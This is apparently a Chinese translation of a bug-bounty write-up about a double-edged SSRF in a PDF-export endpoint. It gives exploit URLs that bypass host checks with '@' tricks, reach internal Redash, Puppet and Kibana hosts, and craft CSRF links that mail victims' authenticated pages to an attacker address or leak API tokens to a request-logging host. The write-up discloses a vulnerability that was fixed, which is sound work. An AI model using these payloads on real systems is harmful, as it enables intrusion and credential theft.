深入考察同时威胁服务器和客户端的双刃式SSRF漏洞

匿名者  85天前

就像双刃剑一样,这里介绍的是一种双刃式服务器端请求伪造(SSRF)漏洞,它能用来同时攻击服务器和客户端,至少根据自己的经验来看,这种类型的漏洞是非常罕见的。

最近,我参与了一个私人漏洞赏金计划,该计划是由提供网络监控解决方案的组织发起的,因此,在探索和测试他们的各种功能时,我使用他们的代理运行了一些网络测试,然后,我注意到了这样一个小功能:它允许用户通过电子邮件发送PDF副本来导出测试结果。具体的请求如下所示:

GET/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/export/synthetics/tests/780/results

Host: app.company.com

令我惊讶的是,当我收到电子邮件中的PDF报告时,发现它实际上是测试结果的网页截图,于是,我仔细检查了该端点,并对location参数产生了很大的兴趣。根据我的猜测,后端可能是通过/v4/export/synthetics/tests/780/results网页获取的截图,然后,用电子邮件发给用户。

为了验证我的假设,我改变了location参数的值,使其指向应用程序中的另一个经过身份验证的路由,如/v4/onboarding/device-status/80219

没想到,我的猜测是正确的!因为我收到了这个经过身份验证的网页的PDF截图,所以,我很好奇这个功能如何在后台实现,以及是否有任何方法可以使其指向不同的主机,例如内部或外部主机。为此,我决定运行一些测试,如下:

&location=//example.com

&location=https://example.com

这个PDF报告包含了一个熟悉的404错误的截图,因此我推测后端很可能会采用location参数的值,将其追加到主机上,然后进行截图,即:

https://app.company.com/v4/export/synthetics/tests/780/results

如果是这样的话,那么我们可以尝试常见的SSRF绕过技术,如:@example.com.example.com,如果这些方法有效,将导致后端发出一个HTTP请求:

https://app.company.com@example.com

https://app.company.com.example.com

嗯,看起来它们都是可行的,并在电子邮件中收到了以下PDF报告:

1.png既然已经确认这里存在SSRF漏洞,那么接下来要做的事情,就是利用其内部网络来最大化其安全影响。因此,我运行的第一个测试就是使用这个存储库中描述的各种常见技术让location参数指向内部主机。

我尝试了多种payload,比如通过@127.0.0.1@localhost@spoofed.burpcollaborator.net等指向回环地址,301重定向等,但不幸的是,这些都没有成功,因为我收到的是一份空白的PDF报告。

于是,我开始寻找更多的内部主机,而不是那些似乎被列入黑名单的典型主机,因此,我使用Amass进行了快速的子域侦察,但没有找到任何让人感兴趣的东西,所以,我转而到Github上进行搜索,并发现了一个引用https://redash.iad1.company.com的存储库,它似乎是一个活动的内部主机,但无法公开访问。

所以,我迅速将location参数值设置为@redash.iad1.company.com,并在邮箱中收到了下面的PDF报告:

1.png好吧,这回形势一片大好! 该主机正在运行一个Redash实例,其登录凭据以纯文本形式自动保存。我推测,他们可能会在.iad1.company.com下运行其他DevOps工具,所以,我通过手动方式,对一些流行的项目名称进行了模糊测试,这些名称包括:

  • - @jenkins.iad1.company.com
  • - @k8s.iad1.company.com
  • - @github.iad1.company.com
  • - Etc.

然后,在puppet.iad1.company.com上面中了头奖!puppet是一个用来管理基础设施的软件,功能包括服务器配置、部署到编排等。同时,我收到了一份10页的PDF报告,上面列出了它们所有的内部主机,具体如下所示:

1.png

1.png

我尝试了一些内部端点,它们似乎都可以访问:

Elastic

1.png

Kibana

1.png

至此,我们已经找到了一个非常容易利用的SSRF漏洞,但我决定进一步探索易受攻击的端点。如果您回顾前面的HTTP请求,会发现当初忽略了三个重要的注意事项:

  • GET端点没有提供针对CSRF攻击的保护措施。
  • 它会接受任何经过身份验证的网页的截图。
  • 它将截图发送到email JSON参数提供的地址。

因此,通过向合法用户发送精心构造的URL,就可以对他们的任何经过身份验证的页面进行截图,并将报告发送到我自己的电子邮件地址,因此,整个攻击过程其实非常简单:

https://app.company.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/settings/users

点击上述链接,就能得到/v4/settings/users网页的截图,并将其发到yassineaboukir@wearehackerone.com邮箱,这是攻击者的电子邮件地址——这会泄露任何其他经过身份验证的端点的信息,比如/v4/synthetics/agents处的网络代理信息,/v4/settings/network-classification处的网络分类信息。

之后,我通过requestcatcher.com设置了一个HTTP记录器,然后将location参数指向我的webhook@testing1337.requestcatcher.com。没想到的是,这个HTTP请求竟然通过其头部信息泄露了我的账户的电子邮件地址以及API密钥,这两个头部分别为:X-CH-Auth-Api-EmailX-CH-Auth-Api-Token

1.png因此,我们可以利用这个端点,只需引诱用户点击相关链接,就能泄露任何组织的电子邮件和与其账户相关的API密钥。

https://app.company.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=@test.requestcatcher.com

于是,我决定停止继续研究,并向该计划提交了一份全面的报告,该计划已经修复了该漏洞,并为此颁发了最高的赏金。在此,非常感谢ninetynine的协作,并祝大家阅读愉快!

 

原文地址:https://www.yassineaboukir.com/blog/exploiting-a-double-edged-SSRF-for-server-and-client-side-impact/

最新评论

昵称
邮箱
提交评论